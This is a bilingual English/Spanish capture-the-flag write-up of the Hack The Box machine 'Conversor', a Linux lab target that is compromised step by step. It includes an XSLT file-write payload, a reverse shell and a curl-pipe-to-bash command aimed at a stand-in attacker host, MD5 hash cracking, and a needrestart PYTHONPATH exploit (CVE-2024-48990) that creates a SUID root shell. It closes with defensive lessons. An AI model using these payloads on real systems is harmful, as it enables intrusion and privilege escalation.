Conversor
Executive summary — Conversor is a Linux machine that chains an XSLT-based arbitrary file write with a misconfigured cron job and aneedrestartescalation. The Flask web app converts XML+XSLT pairs withlxml: it blocks XXE but not the EXSLT extensions, which lets us drop a.pyinto a folder that a cron runs aswww-dataevery minute (RCE). From there we dump the database, crack MD5 hashes and log in over SSH asfismathack; the final blow is CVE-2024-48990 inneedrestart. A Web → RCE (cron) → SSH → Root path.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.238.31 |
Attack map
[80/HTTP] Flask app "Conversor" (Apache 2.4.52 / vhost conversor.htb)
│ XSLT + EXSLT shell:document → arbitrary file write (CVE-2023-46214 / CVE-2025-6985)
▼
[CRON] .py dropped in /var/www/conversor.htb/scripts/ run as www-data every minute
│ reverse shell → www-data
▼
[DB] sqlite instance/users.db → unsalted MD5 hashes
│ hashcat -m 0 + rockyou → Keepmesafeandwarm
▼
[SSH] fismathack@conversor.htb (user.txt)
│ sudo -l → NOPASSWD: /usr/sbin/needrestart (v3.7)
▼
[ROOT] needrestart PYTHONPATH injection (CVE-2024-48990) → SUID /bin/bash1. Reconnaissance
We start by mapping the attack surface with a full-port scan and version detection:
nmap -p- --min-rate 3000 -T4 -Pn 10.129.238.31Why these flags:
-p-→ scans all 65535 TCP ports, not just the top 1000.--min-rate 3000→ forces at least 3000 packets/s to speed up the sweep.-T4→ aggressive timing template.-Pn→ assume the host is up, no ping (HTB blocks ICMP).
Result:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http Apache httpd 2.4.52Only two ports. The web server redirects to the virtual host conversor.htb. Instead of editing /etc/hosts, we resolve the vhost on the fly with curl's --resolve option:
curl -s --resolve conversor.htb:80:10.129.238.31 http://conversor.htb/Why--resolve: it mapsconversor.htbto the target IP for this request only, without touching any system files. Clean and leaves no trace in the environment.
Resumen ejecutivo — Conversor es una maquina Linux que encadena una escritura de archivo arbitraria via XSLT con un cron mal configurado y una escalada porneedrestart. La webapp Flask convierte pares XML+XSLT conlxml: bloquea XXE pero no las extensiones EXSLT, lo que permite dejar un.pyen una carpeta que un cron ejecuta comowww-datacada minuto (RCE). Desde ahi se vuelca la base de datos, se crackean hashes MD5 y se entra por SSH comofismathack; el remate es CVE-2024-48990 enneedrestart. Recorrido Web → RCE (cron) → SSH → Root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.238.31 |
Mapa del ataque
[80/HTTP] App Flask "Conversor" (Apache 2.4.52 / vhost conversor.htb)
│ XSLT + EXSLT shell:document → escritura de archivo arbitraria (CVE-2023-46214 / CVE-2025-6985)
▼
[CRON] .py dejado en /var/www/conversor.htb/scripts/ ejecutado como www-data cada minuto
│ reverse shell → www-data
▼
[DB] sqlite instance/users.db → hashes MD5 sin salt
│ hashcat -m 0 + rockyou → Keepmesafeandwarm
▼
[SSH] fismathack@conversor.htb (user.txt)
│ sudo -l → NOPASSWD: /usr/sbin/needrestart (v3.7)
▼
[ROOT] needrestart PYTHONPATH injection (CVE-2024-48990) → /bin/bash SUID1. Reconocimiento
Empezamos mapeando la superficie de ataque con un escaneo de todos los puertos y deteccion de versiones:
nmap -p- --min-rate 3000 -T4 -Pn 10.129.238.31Por que estas flags:
-p-→ escanea los 65535 puertos TCP, no solo los 1000 mas comunes.--min-rate 3000→ fuerza al menos 3000 paquetes/s para acelerar el barrido.-T4→ plantilla de tiempo agresiva.-Pn→ asume el host vivo sin ping previo (HTB bloquea ICMP).
Resultado:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http Apache httpd 2.4.52Solo dos puertos. El servidor web redirige al virtual host conversor.htb. En lugar de tocar /etc/hosts, resolvemos el vhost a mano con la opcion --resolve de curl:
curl -s --resolve conversor.htb:80:10.129.238.31 http://conversor.htb/Por que--resolve: asocia el nombreconversor.htba la IP objetivo solo para esta peticion, sin modificar ficheros del sistema. Ideal para no dejar rastro ni ensuciar el entorno.
2. Web enumeration — the "Conversor" app
The application is Conversor, a Flask web app with registration and login. Its core feature: upload an XML file and an XSLT stylesheet and transform them at the /convert endpoint, saving the resulting HTML to be served later at /view/<id>.
The /about page exposes a download link for the full application source code:
curl -s --resolve conversor.htb:80:10.129.238.31 http://conversor.htb/static/source_code.tar.gz -o source_code.tar.gzAnalysis: having the source code turns a black box into a white box. We can read exactly how the server processes user input and pinpoint the flaw instead of guessing.
3. Source code review
After registering an account and extracting the tarball, app.py reveals the /convert route:
@app.route('/convert', methods=['POST'])
def convert():
if 'user_id' not in session:
return redirect(url_for('login'))
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path)
xslt_file.save(xslt_path)
parser = etree.XMLParser(resolve_entities=False, no_network=True,
dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
...The flaw: the parser disables external entities and DTDs (resolve_entities=False,no_network=True), mitigating classic XXE. But it does not disable the EXSLT extensions (exsl:document/shell:document) oflxml/libxslt. An attacker-controlled XSLT can use them to write arbitrary files to disk during the transformation (CVE-2023-46214 / CVE-2025-6985).
The install.md file in the tarball gives the decisive hint — a cron running as www-data:
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; doneThe chain is set: any.pywe manage to write into/var/www/conversor.htb/scripts/will run aswww-dataevery minute. The XSLT file-write primitive thus becomes RCE.
4. Exploitation — initial access (user.txt)
4.1 Register and log in. The /convert endpoint requires a session, so we first create a user and save the cookie:
curl -s --resolve conversor.htb:80:10.129.238.31 -c cookies.txt -X POST -d "username=hackerman&password=Passw0rd123!" http://conversor.htb/register
curl -s --resolve conversor.htb:80:10.129.238.31 -c cookies.txt -X POST -d "username=hackerman&password=Passw0rd123!" http://conversor.htb/login4.2 Payload preparation. On our machine we host a shell.sh with a reverse shell:
bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1'And a payload.xslt that uses the EXSLT shell:document extension to write a .py straight into the cron-watched folder. That script downloads and runs the reverse shell:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:shell="http://exslt.org/common"
extension-element-prefixes="shell">
<xsl:template match="/">
<shell:document href="/var/www/conversor.htb/scripts/Rshell.py" method="text">import os
os.system("curl http://<ATTACKER_IP>:8000/shell.sh | bash")</shell:document>
</xsl:template>
</xsl:stylesheet>Any throwaway dummy.xml accompanies the upload (the XML content is irrelevant; what matters is that the XSLT runs).
4.3 Listener and upload. We bring up the HTTP server that serves shell.sh and the reverse-shell listener:
python3 -m http.server 8000 &
nc -lvnp 9001Then we send both files to /convert:
curl -s --resolve conversor.htb:80:10.129.238.31 -b cookies.txt -F "xml_file=@dummy.xml" -F "xslt_file=@payload.xslt" http://conversor.htb/convertIn under 60 seconds the cron runs Rshell.py and we get a reverse shell as www-data.
Practical note:Rshell.pystays in the cron folder, so it is relaunched every minute and the reverse shell reconnects periodically. To avoid losing control between reconnections, use a persistent FIFO-backed listener instead of a plainnc(which dies on the EOF between commands):
exec 3<>/tmp/f; cat <&3 | nc -lvnp 90014.4 Credentials in the database. app.py points to DB_PATH = '/var/www/conversor.htb/instance/users.db', readable by www-data:
sqlite3 /var/www/conversor.htb/instance/users.db "SELECT * FROM users;"1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|tester1|a226f4f82283025ca5c1473188236e93
6|hackerman|a226f4f82283025ca5c1473188236e93fismathack is listed as the developer on /about: a clear target. The passwords are unsalted MD5 (hashlib.md5), trivial to crack.
4.5 Cracking. We dump fismathack's hash and run a dictionary attack with hashcat (mode 0 = MD5):
echo "5b5c3ac3a1c897c94caad48e6c71fdec" > fismathack.hash
hashcat -m 0 -a 0 fismathack.hash /usr/share/wordlists/rockyou.txt -o cracked.txt5b5c3ac3a1c897c94caad48e6c71fdec:KeepmesafeandwarmCracked in roughly 7 seconds.
4.6 SSH and user flag. We reuse the recovered password to log in over SSH:
ssh fismathack@10.129.238.31 # password: Keepmesafeandwarmfismathack@conversor:~$ cat user.txt
eb4022d555a56b7749282419fb0b0b925. Privilege escalation (root.txt) — CVE-2024-48990 (needrestart)
5.1 Sudo enumeration. First reflex after landing a user:
sudo -lUser fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart/usr/sbin/needrestart -v[main] needrestart v3.7Why it's exploitable:needrestartbefore 3.8 is vulnerable to CVE-2024-48990. When it scans running Python processes, it inherits thePYTHONPATHof the scanned process (read from/proc/<pid>/environ) and uses it when invoking its own Python interpreter — as root. If we control thatPYTHONPATH, we can hijack an imported module and execute code as root.
5.2 Exploit. Based on the public PoC o-sec/CVE-2024-48990: we hijack the importlib module via PYTHONPATH so that, run as root, it copies /bin/bash to /tmp/bash with the SUID bit.
$TMPDIR/importlib/__init__.py:
from os import system, getuid
if getuid() == 0:
system("cp /bin/bash /tmp/bash ; chmod u+s /tmp/bash ; exit")$TMPDIR/loop.py (a "bait" process that keeps a Python interpreter alive with our PYTHONPATH so needrestart scans it):
import os, time
from sys import exit
while 1:
if os.path.exists('/tmp/bash'):
print("[+] - Exploit was successful \"/tmp/bash\" is created !")
exit(0)
else:
time.sleep(0.3)Deployment:
TMPDIR=$(mktemp -d)
mkdir -p "$TMPDIR/importlib"
# write the two files above into
# $TMPDIR/importlib/__init__.py and $TMPDIR/loop.py
export PYTHONPATH="$TMPDIR"
nohup python3 "$TMPDIR/loop.py" &In another session, we trigger needrestart as root:
sudo /usr/sbin/needrestart5.3 root.txt. The bait is inherited by needrestart, which imports our malicious importlib as root and creates the SUID /bin/bash:
fismathack@conversor:~$ ls -la /tmp/bash
-rwsr-xr-x 1 root root 1396520 Jul 20 21:16 /tmp/bash
fismathack@conversor:~$ /tmp/bash -p
bash-5.1# id
uid=1000(fismathack) gid=1000(fismathack) euid=0(root) groups=1000(fismathack)
bash-5.1# cat /root/root.txt
8243f38ced15a042420cc93a3919aa2c/tmp/bash -p preserves root's effective UID (it doesn't drop privileges). Machine fully compromised. 🏴Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Web | Flask app / lxml XSLT | EXSLT shell:document enabled (CVE-2023-46214 / CVE-2025-6985) | Arbitrary file write to disk |
| RCE | Cron www-data | Runs any .py from a web-writable folder | Command execution as www-data |
| Credentials | SQLite users.db | Unsalted MD5 passwords | SSH credentials for fismathack |
| PrivEsc | sudo / needrestart 3.7 | CVE-2024-48990 (PYTHONPATH injection) | Execution as root |
Lessons learned
- XSLT isn't just XXE: disabling
resolve_entities/DTD in an XML parser doesn't coverlibxslt's EXSLT extensions (exsl:document/shell:document). If the XSLT is user-controlled, disable them explicitly or sandbox the transformation. - Cron + writable folder = RCE: a cron that runs any
.pydropped into a folder writable by the web process turns any file-write primitive into remote code execution. - Unsalted MD5 protects nothing: it cracks almost instantly with
rockyou(7 s here). Use slow, salted algorithms (bcrypt, argon2). - Beware
sudoNOPASSWD:needrestart< 3.8 trusts thePYTHONPATHof any Python process it scans. A NOPASSWD entry on that binary is direct root escalation if the version is vulnerable. - Reuse maintained PoCs: leaning on a well-tested public exploit saved time versus reimplementing the module from scratch.
2. Enumeracion web — la app "Conversor"
La aplicacion es Conversor, una webapp Flask con registro y login. Su funcion central: subir un fichero XML y una hoja de estilos XSLT y transformarlos en el endpoint /convert, guardando el HTML resultante para servirlo despues en /view/<id>.
La pagina /about ofrece un enlace de descarga del codigo fuente completo de la aplicacion:
curl -s --resolve conversor.htb:80:10.129.238.31 http://conversor.htb/static/source_code.tar.gz -o source_code.tar.gzAnalisis: disponer del codigo fuente convierte una caja negra en una caja blanca. Podemos leer exactamente como procesa el servidor la entrada del usuario y buscar el fallo con precision.
3. Analisis del codigo fuente
Tras registrar una cuenta y descomprimir el tarball, app.py revela la ruta /convert:
@app.route('/convert', methods=['POST'])
def convert():
if 'user_id' not in session:
return redirect(url_for('login'))
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path)
xslt_file.save(xslt_path)
parser = etree.XMLParser(resolve_entities=False, no_network=True,
dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
...El fallo: el parser desactiva entidades externas y DTD (resolve_entities=False,no_network=True), lo que mitiga el XXE clasico. Pero no deshabilita las extensiones EXSLT (exsl:document/shell:document) delxml/libxslt. Un XSLT controlado por el atacante puede usarlas para escribir archivos arbitrarios en disco durante la transformacion (CVE-2023-46214 / CVE-2025-6985).
El fichero install.md del tarball da la pista definitiva — un cron ejecutado como www-data:
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; doneLa cadena esta servida: cualquier.pyque consigamos escribir en/var/www/conversor.htb/scripts/se ejecutara comowww-datacada minuto. La primitiva de escritura de archivo del XSLT se convierte asi en RCE.
4. Explotacion — acceso inicial (user.txt)
4.1 Registro y login. El endpoint /convert exige sesion, asi que primero creamos un usuario y guardamos la cookie:
curl -s --resolve conversor.htb:80:10.129.238.31 -c cookies.txt -X POST -d "username=hackerman&password=Passw0rd123!" http://conversor.htb/register
curl -s --resolve conversor.htb:80:10.129.238.31 -c cookies.txt -X POST -d "username=hackerman&password=Passw0rd123!" http://conversor.htb/login4.2 Preparacion del payload. Alojamos en nuestra maquina un shell.sh con una reverse shell:
bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1'Y un payload.xslt que usa la extension EXSLT shell:document para escribir directamente un .py en la carpeta vigilada por el cron. Ese script descarga y ejecuta la reverse shell:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:shell="http://exslt.org/common"
extension-element-prefixes="shell">
<xsl:template match="/">
<shell:document href="/var/www/conversor.htb/scripts/Rshell.py" method="text">import os
os.system("curl http://<ATTACKER_IP>:8000/shell.sh | bash")</shell:document>
</xsl:template>
</xsl:stylesheet>Un dummy.xml cualquiera acompaña la subida (el contenido del XML es irrelevante; lo que importa es que el XSLT se ejecute).
4.3 Listener y subida. Levantamos el servidor HTTP que sirve shell.sh y el listener de la reverse shell:
python3 -m http.server 8000 &
nc -lvnp 9001Y enviamos ambos ficheros a /convert:
curl -s --resolve conversor.htb:80:10.129.238.31 -b cookies.txt -F "xml_file=@dummy.xml" -F "xslt_file=@payload.xslt" http://conversor.htb/convertEn menos de 60 segundos el cron ejecuta Rshell.py y recibimos una reverse shell como www-data.
Nota practica:Rshell.pyqueda persistente en la carpeta del cron, asi que se relanza cada minuto y la reverse shell se reconecta periodicamente. Para no perder el control entre reconexiones conviene un listener persistente con un FIFO en vez de unncsimple (que muere en el EOF entre comandos):
exec 3<>/tmp/f; cat <&3 | nc -lvnp 90014.4 Credenciales en la base de datos. app.py apunta a DB_PATH = '/var/www/conversor.htb/instance/users.db', legible por www-data:
sqlite3 /var/www/conversor.htb/instance/users.db "SELECT * FROM users;"1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|tester1|a226f4f82283025ca5c1473188236e93
6|hackerman|a226f4f82283025ca5c1473188236e93fismathack aparece como developer en /about: es el objetivo claro. Las contraseñas son MD5 sin salt (hashlib.md5), triviales de crackear.
4.5 Cracking. Volcamos el hash de fismathack y lo atacamos por diccionario con hashcat (modo 0 = MD5):
echo "5b5c3ac3a1c897c94caad48e6c71fdec" > fismathack.hash
hashcat -m 0 -a 0 fismathack.hash /usr/share/wordlists/rockyou.txt -o cracked.txt5b5c3ac3a1c897c94caad48e6c71fdec:KeepmesafeandwarmResultado en apenas 7 segundos.
4.6 SSH y user flag. Reutilizamos la contraseña recuperada para entrar por SSH:
ssh fismathack@10.129.238.31 # password: Keepmesafeandwarmfismathack@conversor:~$ cat user.txt
eb4022d555a56b7749282419fb0b0b925. Escalada de privilegios (root.txt) — CVE-2024-48990 (needrestart)
5.1 Enumeracion de sudo. Primer reflejo tras conseguir un usuario:
sudo -lUser fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart/usr/sbin/needrestart -v[main] needrestart v3.7Por que es explotable:needrestartanterior a 3.8 es vulnerable a CVE-2024-48990. Al escanear procesos Python en ejecucion, hereda elPYTHONPATHdel proceso escaneado (leido de/proc/<pid>/environ) y lo usa al invocar su propio interprete Python — como root. Si controlamos esePYTHONPATH, podemos secuestrar un modulo importado y ejecutar codigo como root.
5.2 Exploit. Basado en el PoC publico o-sec/CVE-2024-48990: secuestramos el modulo importlib via PYTHONPATH para que, ejecutado como root, copie /bin/bash a /tmp/bash con bit SUID.
$TMPDIR/importlib/__init__.py:
from os import system, getuid
if getuid() == 0:
system("cp /bin/bash /tmp/bash ; chmod u+s /tmp/bash ; exit")$TMPDIR/loop.py (proceso "cebo" que mantiene vivo un interprete Python con nuestro PYTHONPATH para que needrestart lo escanee):
import os, time
from sys import exit
while 1:
if os.path.exists('/tmp/bash'):
print("[+] - Exploit was successful \"/tmp/bash\" is created !")
exit(0)
else:
time.sleep(0.3)Despliegue:
TMPDIR=$(mktemp -d)
mkdir -p "$TMPDIR/importlib"
# escribir los dos ficheros anteriores en
# $TMPDIR/importlib/__init__.py y $TMPDIR/loop.py
export PYTHONPATH="$TMPDIR"
nohup python3 "$TMPDIR/loop.py" &En otra sesion, disparamos needrestart como root:
sudo /usr/sbin/needrestart5.3 root.txt. El cebo hereda a needrestart, que importa nuestro importlib malicioso como root y crea el /bin/bash con SUID:
fismathack@conversor:~$ ls -la /tmp/bash
-rwsr-xr-x 1 root root 1396520 Jul 20 21:16 /tmp/bash
fismathack@conversor:~$ /tmp/bash -p
bash-5.1# id
uid=1000(fismathack) gid=1000(fismathack) euid=0(root) groups=1000(fismathack)
bash-5.1# cat /root/root.txt
8243f38ced15a042420cc93a3919aa2c/tmp/bash -p conserva el UID efectivo de root (no descarta privilegios). Maquina comprometida por completo. 🏴Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Web | App Flask / lxml XSLT | EXSLT shell:document habilitado (CVE-2023-46214 / CVE-2025-6985) | Escritura de archivo arbitraria en disco |
| RCE | Cron www-data | Ejecuta cualquier .py de una carpeta escribible por la web | Ejecución de comandos como www-data |
| Credenciales | SQLite users.db | Contraseñas en MD5 sin salt | Credenciales SSH de fismathack |
| PrivEsc | sudo / needrestart 3.7 | CVE-2024-48990 (inyección de PYTHONPATH) | Ejecución como root |
Lecciones aprendidas
- XSLT no es solo XXE: desactivar
resolve_entities/DTD en un parser XML no cubre las extensiones EXSLT (exsl:document/shell:document) delibxslt. Si el XSLT lo controla el usuario, hay que deshabilitarlas explicitamente o sandboxear la transformacion. - Cron + carpeta escribible = RCE: un cron que ejecuta cualquier
.pydejado en una carpeta escribible por el proceso web convierte cualquier primitiva de escritura de archivo en ejecucion remota de codigo. - MD5 sin salt no protege nada: se crackea casi al instante con
rockyou(7 s en este caso). Usa algoritmos lentos con salt (bcrypt, argon2). - Cuidado con
sudoNOPASSWD:needrestart< 3.8 confia en elPYTHONPATHde cualquier proceso Python que escanea. Un NOPASSWD sobre ese binario es escalada directa a root si la version es vulnerable. - Reutilizar PoCs mantenidos: apoyarse en un exploit publico bien probado ahorro tiempo frente a reimplementar el modulo desde cero.